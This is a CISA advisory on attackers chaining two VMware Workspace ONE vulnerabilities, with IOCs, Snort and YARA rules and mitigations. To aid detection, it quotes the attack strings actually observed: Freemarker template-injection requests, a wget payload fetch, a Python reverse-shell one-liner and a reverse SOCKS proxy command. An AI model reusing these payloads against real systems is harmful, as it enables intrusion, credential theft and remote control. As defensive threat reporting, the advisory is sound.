CYBERSECURITY ADVISORY

Threat Actors Chaining Unpatched VMware Vulnerabilities for Full System Control

Last Revised: June 02, 2022 **Alert Code:** AA22-138B

Summary

Update June 2, 2022:

This Cybersecurity Advisory (CSA) has been updated with additional indicators of compromise (IOCs) and detection signatures, as well as tactics, techniques, and procedures (TTPs) from trusted third parties.

Update End

The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this CSA to warn organizations that malicious cyber actors, likely advanced persistent threat (APT) actors, are exploiting CVE-2022-22954 and CVE-2022-22960 separately and in combination. These vulnerabilities affect certain versions of VMware Workspace ONE Access, VMware Identity Manager (vIDM), VMware vRealize Automation (vRA), VMware Cloud Foundation, and vRealize Suite Lifecycle Manager. Exploiting these vulnerabilities permits malicious actors to trigger a server-side template injection that may result in remote code execution (RCE) (CVE-2022-22954) or escalation of privileges to root (CVE-2022-22960).

VMware released updates for both vulnerabilities on April 6, 2022, and, according to a trusted third party, malicious cyber actors were able to reverse engineer the updates to develop an exploit within 48 hours and quickly began exploiting the disclosed vulnerabilities in unpatched devices. CISA was made aware of this exploit a week later and added CVE-2022-22954 and CVE-2022-22960 to its catalog of Known Exploited Vulnerabilities <https://www.cisa.gov/known-exploited-vulnerabilities-catalog> on April 14 and April 15, respectively. In accordance with Binding Operational Directive (BOD) 22-01, Reducing the Significant Risk of Known Exploited Vulnerabilities <https://www.cisa.gov/binding-operational-directive-22-01>, federal agencies were required to apply updates for CVE-2022-22954 and CVE-2022-22960 by May 5, and May 6, 2022, respectively

Note: based on this activity, CISA expects malicious cyber actors to quickly develop a capability to exploit newly released vulnerabilities CVE-2022-22972 and CVE-2022-22973 in the same impacted VMware products. In response, CISA has released, Emergency Directive (ED) 22-03 Mitigate VMware Vulnerabilities <https://www.cisa.gov/emergency-directive-22-03>, which requires emergency action from Federal Civilian Executive Branch agencies to either immediately implement the updates in VMware Security Advisory VMSA-2022-0014 <https://www.vmware.com/security/advisories/vmsa-2022-0014.html> or remove the affected software from their network until the updates can be applied.

CISA has deployed an incident response team to a large organization where the threat actors exploited CVE-2022-22954. Additionally, CISA has received information—including IOCs—about observed exploitation at multiple other large organizations from trusted third parties.

This CSA provides IOCs and detection signatures from CISA as well as from trusted third parties to assist administrators with detecting and responding to this activity.

Update June 2, 2022:

This CSA also provides TTPs of this activity from trusted third parties to assist administrators with detecting and responding to this activity.

Update End

Due to the rapid exploitation of these vulnerabilities, CISA strongly encourages all organizations with internet-facing affected systems—that did not immediately apply updates—to assume compromise and initiate threat hunting activities using the detection methods provided in this CSA. If potential compromise is detected, administrators should apply the incident response recommendations included in this CSA.

Download the PDF version of this report (pdf, 349kb) </sites/default/files/publications/aa22-138b_threat_actors_chaining_vmware_unpatched_vulnerabilities_for_full_system_control.pdf>.

For a downloadable copy of IOCs, see AA22-138B.stix </sites/default/files/publications/aa22-138b.stix.xml>.

Technical Details

CISA has deployed an incident response team to a large organization where the threat actors exploited CVE-2022-22954. Additionally, CISA has received information about observed exploitation of CVE-2022-22954 and CVE-2022-22960 by multiple threat actors at multiple other large organizations from trusted third parties.

- CVE-2022-22954 <https://nvd.nist.gov/vuln/detail/cve-2022-22954> enables an actor with network access to trigger a server-side template injection that may result in RCE. This vulnerability affects the following products:[1 <https://www.vmware.com/security/advisories/vmsa-2022-0011.html>]
  - VMware Workspace ONE Access, versions 21.08.0.1, 21.08.0.0, 20.10.0.1, 20.10.0.0
  - vIDM versions 3.3.6, 3.3.5, 3.3.4, 3.3.3
  - VMware Cloud Foundation, 4.x
  - vRealize Suite LifeCycle Manager, 8.x
- CVE-2022-22960 <https://nvd.nist.gov/vuln/detail/cve-2022-22960> enables a malicious actor with local access to escalate privileges to root due to improper permissions in support scripts. This vulnerability affects the following products:[2 <https://www.vmware.com/security/advisories/vmsa-2022-0011.html>]
  - VMware Workspace ONE Access, versions 21.08.0.1, 21.08.0.0, 20.10.0.1, 20.10.0.0
  - vIDM, versions 3.3.6, 3.3.5, 3.3.4, 3.3.3
  - vRA, version 7.6
  - VMware Cloud Foundation, 3.x, 4.x,
  - vRealize Suite LifeCycle Manager, 8.x

According to trusted third-party reporting, threat actors may chain these vulnerabilities. A one compromised organization, on or around April 12, 2022, an unauthenticated actor wit network access to the web interface leveraged CVE-2022-22954 to execute an arbitrary shell command as a VMware user. The actor then exploited CVE-2022-22960 to escalate the user's privileges to root. With root access, the actor could wipe logs, escalate permissions, and move laterally to other systems.

Update June 2, 2022:

For more information about this compromised organization, see the Victim 1 section.

Update End

Threat actors have dropped post-exploitation tools, including the Dingo J-spy webshell, a publicly available webshell that includes command execution, a file manager, a database manager, and a port scanner. During incident response activities, CISA observed, on or around April 13, 2022, threat actors leveraging CVE-2022-22954 to drop the Dingo J-spy webshell. Around the same period, a trusted third party observed threat actors leveraging CVE-2022-22954 to drop the Dingo J-spy webshell at one other organization. According to the third party, the actors may have also dropped the Dingo J-spy webshell at a third organization. **Note:** analysis of the first compromise and associated malware is ongoing, and CISA will update information about this case as we learn more.

Update June 2, 2022:

The following sections include additional information, including IOCs and TTPs, from trusted third parties about two confirmed compromises. See the appendix for TTPs in this CSA mapped to the MITRE ATT&CK for Enterprise framework.

Victim 1

The trusted third party assesses that multiple threat actors (referred to as Threat Actor 1 [TA1] and Threat Actor 2 [TA2]) gained access to a public-facing server running VMWare Workspace ONE Access. TA1 downloaded a malicious shell script, which they used to colle and exfiltrate sensitive data. TA2 interacted with the server (without automation or scripts and installed multiple webshells and a reverse secure socket (SOCKS) proxy.

Threat Actor 1

On April 12, TA1 exploited CVE 2022-22954 [T1203 <https://attack.mitre.org/versions/v11/techniques/t1203>] to download [T1105 <https://attack.mitre.org/versions/v11/techniques/t1105/>] a malicious shell script [T1059 <https://attack.mitre.org/versions/v11/techniques/t1059/>] from `https://20.232.97[.]189/up/80b6ae2cea.sh`.

TA1 first targeted Freemarker—a legitimate application that allows for customized notifications by creating templates—to send the following customized GET request URI to the compromised server [T1071.001 <https://attack.mitre.org/versions/v11/techniques/t1071/001/>]:

```
GET /catalog-portal/ui/oauth/verify?
error=&deviceUdid=%24%7B%22freemarker.template.utility.Execute%
22%3Fnew%28%29%28%22cat%20/usr/local/horizon/conf/system-
config.properties%22%29%7DHTTP/1.1
```

The GET request resulted in the server downloading the malicious shell script, `80b6ae2cea[.]sh`, to VMware Workspace ONE Access `directory /usr/local/horizon/scripts/`. TA1 then chained CVE 2022-22960 to the initial exploit to run the shell script with root privileges ([T1068 <https://attack.mitre.org/versions/v11/techniques/t1068/>], [TA0004 <https://attack.mitre.org/versions/v11/tactics/ta0004/>]). The script was executed with the `SUDO` command.

The script, which contained VMware Workspace ONE Access directory paths and file locations, was developed for data exfiltration [TA0010 <https://attack.mitre.org/versions/v11/tactics/ta0010/>]. The malicious script collected [TA0009 <https://attack.mitre.org/versions/v11/tactics/ta0009/>] sensitive files–including user names, passwords, master keys, and firewall rules–and stored them in a “tar ball” (a “tar ball” is a compressed and zipped file used by threat actors for collection and exfiltration) [T1560 <https://attack.mitre.org/versions/v11/techniques/t1560/>]. The tar ball was located in a VMWare Workspace ONE Access directory: `/opt/vmware/horizon/workspace/webapps/SAAS/horizon/images/`.

The malicious script then deleted evidence of compromise [TA0005 <https://attack.mitre.org/versions/v11/tactics/ta0005/>] by modifying logs to their original state and deleting files [T1070 <https://attack.mitre.org/versions/v11/techniques/t1070/>]. TA1 deleted many files and logs, including `fd86ald0.pem`, `localhost_access logs`, logs associated with the VMWare Horizon application, and greenbox logs for the date of activity (April 12).

Note: CISA received a similar malicious Bash script for analysis from a trusted third party at a different known compromise. See Victim 2 section for more information.

On April 12, TA1 also downloaded `jtest.jsp`, a JSP webshell, to the server's web directory `/SAAS/Horizon/js-lib/` from IP address `186.233.187[.]245`.

TA1 returned to the server on April 12 to collect sensitive data stored in the "tar ball" by GET request.

Threat Actor 2

On April 13 and 14, TA2 sent many GET requests to the server exploiting—or attempting to exploit—CVE 2022-22954 to obtain RCE, upload binaries, and upload webshells [T1505.003 <https://attack.mitre.org/versions/v11/techniques/t1505/003/>] for persistence [TA0003 <https://attack.mitre.org/versions/v11/tactics/ta0003/>].

- On April 13, TA2 attempted to download a webshell `app.jsp` (MD5 `4cd8366345ad4068feca4d417738b4bd`) from IP address `51.79.171[.]53`. `app.jsp` is a publicly available [T1588.001 <https://attack.mitre.org/versions/v11/techniques/t1588/001/>] webshell known as Godzilla.
- On April 13, TA2 downloaded a JSP webshell (MD 5 `F8FF5C72E8FFA2112B01802113148BD1`) from `http://84.38.133[.]149/img/icon1.gif`.
- On April 13, TA2 sent thousands of Unix commands [T1059.004 <https://attack.mitre.org/versions/v11/techniques/t1059/004/>] from IP address `84.38.133[.]149`, some of which enabled TA2 to view `/etc/passwd` and `/etc/shadow` password files ([TA0006 <https://attack.mitre.org/versions/v11/tactics/ta0006/>], [T1003.008 <https://attack.mitre.org/versions/v11/techniques/t1003/008/>]). The Unix commands included `whoami`, `id`, and `cat`.

The trusted third party found two copies of the Dingo J-spy webshell (MD5 `5b0bfda04a1e0d8dcb02556dc4e56e6a`) in web directories: `horizon_all.jsp` was in the

`/opt/vmware/horizon/workspace/webapps/SAAS/horizon/portal/` web directory and `jquery.jsp` was in the `/webapps/cas/static/` directory. The third party was unable to determine how and when the webshells were created. TA2 used `POST` requests to communicate with the Dingo J-spy webshells. The commands and output were encrypted with an XOR key [T1573.001 <https://attack.mitre.org/versions/v11/techniques/t1573/001/>].

On April 14, TA2 downloaded a reverse SOCKS proxy [T1090 <https://attack.mitre.org/versions/v11/techniques/t1090/>]. TA2 first sent a GET request with the `CHMOD` command to change the permissions of `.tmp12865xax`, a hidden file in the `/tmp` directory [T1222.002 <https://attack.mitre.org/versions/v11/techniques/t1222/002/>]. The actor then downloaded a binary (MD5 `dc88c5fe715b5f706f9fb92547da948a`) from https://github[.]com/kost/revsocks/releases/download/v1.1.0/revsocks_linux_amd64. The binary is a reverse socks5 tunneling binary with TLS/SSL support and connects to `https://149.248.35[.]200.sslip.io`.

Additional Threat Actor Activity

The trusted third party observed additional threat actor activity that does not seem to be related to TA1 or TA2. On 13 April, IP address `172.94.89[.]112` attempted to connect a reverse shell on the compromised server to IP Address `100.14.239[.]83` on port 541
The threat actor used the following command:

```
freemarker.template.utility.Execute\"?new()
(\"/usr/bin/python3.7 -c
 \\'importsocket,subprocess,os;s=socket.socket(socket.AF_INET,s
ocket.SOCK_STREAM);s.
connect((\\\"100[.]14[.]239[.]83\\\",5410));os.dup2(s.fileno(),
0);
 os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(
[\\\"/usr/bin/sh\\\",\\\"- i\\\"]);\\'\")}
```

Victim 2

CISA received a related malicious Bash script for analysis from a trusted third party. The analyzed script, deployed on or around April 12, exploits CVE 2022-22960 and allows a Horizon user to escalate privileges and execute commands and scripts as a superuser (`sudo`). The Bash script also allows the user to collect network information and additional information.

The script overwrites the `publishCaCert.hzn` script on `fd86ald0.pem` file and executes commands that compress a list of files containing information such as network interface configuration, list of users, passwords, masterkeys, hosts, and domains to a TAR archive. The TAR archive, located in a VMWare Workspace ONE Access directory, `/opt/vmware/horizon/workspace/webapps/SAAS/horizon/images/`, is assigned read and write permissions to the Horizon web user and read to all users.

The malicious script deletes evidence of compromise by overwriting `publishCaCert.hzn` with `fd86ald0.pem` and then removing `fd86ald0.pem`.

The trusted third party observed the following IPs downloading, executing, and checking the bash script.

- `45.72.112[.]245`
- `115.167.53[.]141`
- `191.102.179[.]197`
- `209.127.110[.]126`
- `45.72.85[.]172`
- `192.241.67[.]12`

The trusted third party observed the following additional malicious IPs:

- `20.232.97[.]189` – used for command for control [TA0011]
- `194.31.98[.]141` – attempted to download MoneroOcean miner from Github

- `8.45.41[.]114` – ran `cat` on a number of files in `/usr/local/horizon/conf`
- `85.203.36[.]66` – attempted to pull down a JSP webshell from `http://84.38.133[.]149/img/icon.gif`

Update End

Detection Methods

Signatures

Note: servers vulnerable to CVE-2022-22954 may use Hypertext Transfer Protocol Secure (HTTPS) to encrypt client/server communications. Secure Sockets Layer (SSL)/Transport Layer Security (TLS) decryption can be used as a workaround for network-based detection and threat hunting efforts.

The following CISA-created Snort signature may detect malicious network traffic related to exploitation of CVE-2022-22954:

```
alert tcp any any -> any $HTTP_PORTS (msg:"VMware:HTTP GET URI contains '/catalog-portal/ui/oauth/verify?error=&deviceUdid=':CVE-2022-22954"; sid:1; rev:1; flow:established,to_server; content: "GET"; http_method; content:"/catalog-portal/ui/oauth/verify?error=&deviceUdid="; http_uri; reference:cve,2022-22954; reference:url,github.com/sherlocksecurity/VMware-CVE-2022-22954;

reference:url,github.com/tunelko/CVE-2022-22954-PoC/blob/main/CVE-2022-22954.py; priority:2; metadata:service http;)
```

The following third-party Snort signature may detect exploitation of VMware Workspace ONE Access server-side template injection:

```
10000001alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS
$HTTP_PORTS (msg:"Workspace One Serverside Template
Injection";content:"GET"; http_method;
content:"freemarker.template.utility.Execute";nocase; http_uri;
priority:1; sid:;rev:1;)
```

Update June 2, 2022:

```
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS
(msg:"Workspace One Serverside  Template
Injection";content:"GET"; http_method;
 content:"freemarker.template.utility.Execute";nocase;
http_uri; priority:1; sid:100000001;rev:1;)
```

Update End

The following third-party YARA rule may detect unmodified instances of the Dingo J-spy webshell on infected hosts:

```
rule dingo_jspy_webshell
{
strings:
$string1 = "dingo.length"
$string2 = "command = command.trim"
$string3 = "commandAction"
$string4 = "PortScan"
$string5 = "InetAddress.getLocalHost"
$string6 = "DatabaseManager"
$string7 = "ExecuteCommand"
$string8 = "var command = form.command.value"
$string9 = "dingody.iteye.com"
$string10 = "J-Spy ver"
```

```
$string11 = "no permission ,die"
$string12 = "int iPort = Integer.parseInt"
condition:
filesize < 50KB and 12 of ($string*)
}
```

Note: the Dingo J-spy webshell is an example of post-exploitation tools that actors have used. Administrators should examine their network for any sign of post-exploitation activity.

Update June 2, 2022:

The following third-party YARA rule may detect unmodified instances of the Godzilla webshell on infected hosts:

```
rule Godzilla_Webshell
{
 strings:
 $string1 = "TomcatListenerMemShellFromThread"
 $string2 = "String xc ="
 $string3 = "String pass ="
 $string4 = "ServletRequestListener"
 $string5 = "cmds = new String"
 $string6 = "cmd"
 $string7 = "bin/bash"
 $string8 = "getInputStream"
 $string9 = "javax.crypto.Cipher c =
javax.crypto.Cipher.getInstance"
 $string10 = "godzilla"
 condition:
 filesize < 20KB and 10 of ($string*)
}
```

The following third-party YARA rule may detect unmodified instances of the TomCat JSP webshell on infected hosts:

```
rule Tomcatjsp_Webshell
{
 strings:
 $string1 = "ExecShellCmd"
 $string2 = "stCommParams"
 $string3 = "nKeyOffset = EncryptData"
 $string4 = "InputStream is = process.getInputStream"
 $string5 = "Process process = Runtime.getRuntime"
 $string6 = "ExecBinary"
 $string7 = "byte bzKey"
 $string8 = "nKeyOffset++"
 $string9 = "HttpServletRequest request, HttpServletResponse
response"   $string10 = "connect_test cmd"
 $string11 = "exec cmd"
 $string12 = "file upload"
 condition:
 filesize < 25KB and 12 of ($string*)
}
```

The following third-party YARA rule may detect unmodified instances of the reverse SOCKS proxy on infected hosts.

```
rule reversesocks_tool
{
 md5 = "dc88c5fe715b5f706f9fb92547da948a"   strings:
 $string1 = "revsocks"
 $string2 = "-connect"
```

```
$string3 = "client:8080 -pass test"
$string4 = "RSA TESTING KEY"
$string5 = "SETTINGS_MAX_CONCURRENT_STREAMS"   $string6 =
"Start on the server:"
$string7 = "closing connection"
$string8 = "socks 127.0.0.1:1080"
$string9 = "revsocks -listen :8080"
condition:
uint16(0) == 0x457F and filesize < 6MB and 8 of ($string*)  }
```

Update End

Behavioral Analysis and Indicators of Compromise

Administrators should conduct behavioral analysis on root accounts of vulnerable systems by:

- Using the indicators listed in table 1 to detect potential malicious activity.
- Reviewing systems logs and gaps in logs.
- Reviewing abnormal connections to other assets.
- Searching the command-line history.
- Auditing running processes.
- Reviewing local user accounts and groups.
- Auditing active listening ports and connections.

Table 1: Third-party IOCs for Exploitation of CVE-2022-22954 and CVE-2022-22960

Used around April 12–14, 2022 (Updated June 2, 2022)

IP Addresses	
Indicator	**Comment**

IP Addresses	
`136.243.75[.]136`	On or around April 12, 2022, malicious cyber actors may have used this German-registered IP address to conduct the activity. However, the actors may have used the Privax HMA VPN client to conduct operations.
Update June 2, 2022:	
`84.38.133[.]149`	A threat actor used this IP for command and control.
`186.233.187[.]245`	This IP attempted to upload webshells. The user agent string for this IP was `Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0`
`212.227.198[.]95`	
`20.232.97[.]189`	A threat actor used this IP for command and control (see Victim 1 and Victim 2 sections).
`160.20.145[.]225`	
`149.248.35[.]200`	
`100.14.239[.]83`	A threat actor attempted to connect a reverse shell on the compromised server to this IP address.

IP Addresses	
`51.79.171[.]53`	This IP address attempted to upload a webshell
`172.94.89[.]112`	This IP address attempted to have a reverse shell on the compromised server to connect back to IP Address `100.14.239[.]83` on port 5410.
`83.84.74[.]155`	
`194.31.98[.]141`	This IP attempted to download MoneroOcean miner from Github.
`8.45.41[.]114`	This IP ran `cat` on a number of files in `/usr/local/horizon/conf`.
`85.203.36[.]66`	This IP attempted to pull down a JSP webshell from `http://84.38.133[.]149/img/icon.gif`.
`45.72.112[.]245`	These IPs downloaded, executed, and checked a malicious bash script.
`115.167.53[.]141`	
`191.102.179[.]197`	
`209.127.110[.]126`	
`45.72.85[.]172`	
`192.241.67[.]12`	

IP Addresses
Domains
`https://149.248.35[.]200.sslip[.]io`
`sslip[.]io`
`https://github[.]com/kost/revsocks/releases/download`
Update End
Scanning, Exploitation Strings, and Commands Observed
`catalog-portal/ui/oauth/verify`
`catalog` `portal/ui/oauth/verify?error=&deviceUdid=${"freemarker.template.utility.Execute"?new()("cat  /etc/hosts")}`

IP Addresses

`/catalog`
 	
`portal/ui/oauth/verify?error=&deviceUdid=${"freemarker.template.utility.Execute"?new()("wget  -U "Hello 1.0" -qO - http://[REDACTED]/one")}`

`freemarker.template.utility.Execute`	Search for this function in:
	
	`/opt/vmware/horizon/workspace/logs/greenbox_web.log`
	
	Update June 2, 2022:
	
	or
	`/opt/vmware/horizon/workspace/logs/greenbox_web.log*`
	
	`freemarker.template.utility.Execute` may be legitimate but could also indicate malicious shell commands. You should URL decode the logs before searching for `freemarker.template.utility.Execute`.
	
	Update End

IP Addresses	
`/opt/vmware/certproxy/bing/certproxyService.sh`	Check for this command being placed into the script; CVE-2022-22960 allows a user to write to it and be executed as root.
`/horizon/scripts/exportCustomGroupUsers.sh`	Check for this command being placed into the script; CVE-2022-22960 allows a user to write to it and be executed as root.
`/horizon/scripts/extractUserIdFromDatabase.sh`	Check for this command being placed into the script; CVE-2022-22960 allows a user to write to it and be executed as root.
Update June 2, 2022:	
`.tmp12865xax2 -connect 149[.]248[.]35[.]200.sslip[.]io:443 -pass OneTwoOne123!"` (Bash)	
Update End	
Files	

IP Addresses	
`horizon.jsp` ***June 2, 2022 Update:*** (`jquery.jsp`) `5b0bfda04a1e0d8dcb02556dc4e56e6a` (MD 5) ***Update End***	Found in `/usr/local/horizon/workspace/webapps/SAAS/horizon/js-lib:`
Update June 2, 2022:	
`jest.jsp`	
`74805fa847acac6adc896968421ec9e` (MD 5)	
`dc88c5fe715b5f706f9fb92547da948a` (MD 5)	Reverse SOCKS proxy
Update End	
Webshells	
`jspy` ***Update June 2, 2022:*** `C509282c94b504129ac6ef168a3f08a8` (MD 5) ***Update End***	

IP Addresses

`godzilla`
 	
Update June 2, 2022:
 	
`app.jsp`
 	
`4cd8366345ad4068feca4d417738b4bd` (MD 5)
 	
Update End

`tomcatjsp`

Update May 25, 2022: see Palo Alto Networks Unit 42 Threat Brief: VMware Vulnerabilities Exploited in the Wild (CVE-2022-22954 and Others) <https://unit42.paloaltonetworks.com/cve-2022-22954-vmware-vulnerabilities/> for additional IOCs to detect possible exploitation or compromise. Note: due to the urgency to share this information, CISA has not yet validate this content.

Incident Response

If administrators discover system compromise, CISA recommends they:

1. **Immediately isolate affected systems.**
2. **Collect and review relevant logs, data, and artifacts.**
3. **Consider soliciting support from a third-party incident response organization** to provide subject matter expertise, ensure the actor is eradicated from the network, and avoid residual issues that could enable follow-on exploitation.
4. **Report incidents to CISA** via CISA's 24/7 Operations Center (report@cisa.gov or 1-844-Say-CISA).

Mitigations

CISA recommends organizations update impacted VMware products to the latest version or remove impacted versions from organizational networks. CISA does not endorse alternative mitigation options. As noted in ED 22-03 Mitigate VMware Vulnerabilities <https://www.cisa.gov/emergency-directive-22-03>, CISA expects malicious cyber actors to quickly develop a capability to exploit newly released vulnerabilities CVE-2022-22972 and CVE-2022-22973 in the same impacted VMware products. ED 22-03 directs all Federal Civilian Executive Branch agencies to enumerate all instances of impacted VMware products and deploy updates in VMware Security Advisory VMSA-2022-0014 <https://www.vmware.com/security/advisories/vmsa-2022-0014.html> or to remove the affected software from the agency network until the updates can be applied.

Resources

- ED 22-03 Mitigate VMware Vulnerabilities <https://www.cisa.gov/emergency-directive-22-03>
- VMware Security Advisory VMSA-2022-0011 <https://www.vmware.com/security/advisories/vmsa-2022-0011.html>
- VMware Security Advisory VMSA-2022-0014 <https://www.vmware.com/security/advisories/vmsa-2022-0014.html>
- ***Update May 25, 2022:*** Palo Alto Networks Unit 42 Threat Brief: VMware Vulnerabilities Exploited in the Wild (CVE-2022-22954 and Others) <https://unit42.paloaltonetworks.com/cve-2022-22954-vmware-vulnerabilities/>

Contact Information

CISA encourages recipients of this CSA to report incidents to CISA via CISA's 24/7 Operations Center (report@cisa.gov or 1-844-Say-CISA)

References

[1] VMware Security Advisory VMSA-2022-0011 <https://www.vmware.com/security/advisories/vmsa-2022-0011.html>

[2] Ibid <https://www.vmware.com/security/advisories/vmsa-2022-0011.html>

Update June 2, 2022:

Appendix: Mitre Att&ck TTPS

Threat actors and their malware have used the TTPs in table 1 when exploiting CVE-2022-22954 and/or CVE-2022-22960 and conducting related activity. See the ATT&CK for Enterprise <https://attack.mitre.org/versions/v11/matrices/enterprise/> framework for all referenced threat actor tactics and techniques.

Table 2: MITRE ATT&CK TTPs

Tactic	Technique
Resource Development [TA0042 <https://attack.mitre.org/versions/v11/tactics/ta0042/>]	Obtain Capabilities: Malware [T1588.001 <https://attack.mitre.org/versions/v11/techniques/t1588/001/>]

Tactic	Technique
Execution [TA0002 <https://attack.mitre.org/versions/v11/tactics/ta0002/>]	Command and Scripting Interpreter [T1059 <https://attack.mitre.org/versions/v11/techniques/t1059/>]
	Command and Scripting Interpreter: Unix Shell [T1059.004 <https://attack.mitre.org/versions/v11/techniques/t1059/004/>]
	Exploitation for Client Execution [T1203 <https://attack.mitre.org/versions/v11/techniques/t1203>]
Persistence [TA0003 <https://attack.mitre.org/versions/v11/tactics/ta0003/>]	Server Software Component: Web Shell [T1505.003 <https://attack.mitre.org/versions/v11/techniques/t1505/003/>]
Privilege Escalation [TA0004 <https://attack.mitre.org/versions/v11/tactics/ta0004/>]	Exploitation for Privilege Escalation [T1068 <https://attack.mitre.org/versions/v11/techniques/t1068/>]

Tactic	Technique
Defense Evasion [TA0005 <https://attack.mitre.org/versions/v11/tactics/ta0005/>]	File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification [T1222.002 <https://attack.mitre.org/versions/v11/techniques/t1222/002/>] Indicator Removal on Host [T1070 <https://attack.mitre.org/versions/v11/techniques/t1070/>]
Credential Access [TA0006 <https://attack.mitre.org/versions/v11/tactics/ta0006/>]	• OS Credential Dumping: /etc/passwd and /etc/shadow • [T1003.008 <https://attack.mitre.org/versions/v11/techniques/t1003/008/>]
Collection [TA0009 <https://attack.mitre.org/versions/v11/tactics/ta0009/>]	Archive Collected Data [T1560 <https://attack.mitre.org/versions/v11/techniques/t1560/>]

Tactic	Technique
Command and Control [TA0011 <https://attack.mitre.org/versions/v11/tactics/ta0011/>]	Application Layer Protocol: Web Protocols [T1071.001 <https://attack.mitre.org/versions/v11/techniques/t1071/001/>]
	Encrypted Channel: Symmetric Cryptography [T1573.001 <https://attack.mitre.org/versions/v11/techniques/t1573/001/>]
	Proxy [T1090 <https://attack.mitre.org/versions/v11/techniques/t1090/>]
	Ingress Tool Transfer [T1105 <https://attack.mitre.org/versions/v11/techniques/t1105/>]
Exfiltration [TA0004 <https://attack.mitre.org/versions/v11/tactics/ta0004/>]	

Update End

References

[1] VMware Security Advisory VMSA-2022-0011 <https://www.vmware.com/security/advisories/vmsa-2022-0011.html>

[2] Ibid <https://www.vmware.com/security/advisories/vmsa-2022-0011.html>

Revisions

Initial Version: May 18, 2022|May 25, 2022: Added Industry Resource|June 2, 2022: Added Detection Signatures, IOCs, and TTPs

This product is provided subject to this Notification </notification> and this Privacy & Use </privacy-policy> policy.

Please share your thoughts

We recently updated our anonymous product survey; we welcome your feedback.

Return to top

Topics </topics> **Spotlight** </spotlight> **Resources & Tools** </resources-tools>

News & Events </news-events> **Careers** </careers> **About** </about>

CYBERSECURITY & INFRASTRUCTURE SECURITY AGENCY

CISA Central

1-844-Say-CISA contact@cisa.dhs.gov

Give Feedback

CISA.gov
An official website of the U.S. Department of Homeland Security

About CISA </about>

Budget and Performance <https://www.dhs.gov/performance-financial-reports>

DHS.gov <https://www.dhs.gov>

Give Feedback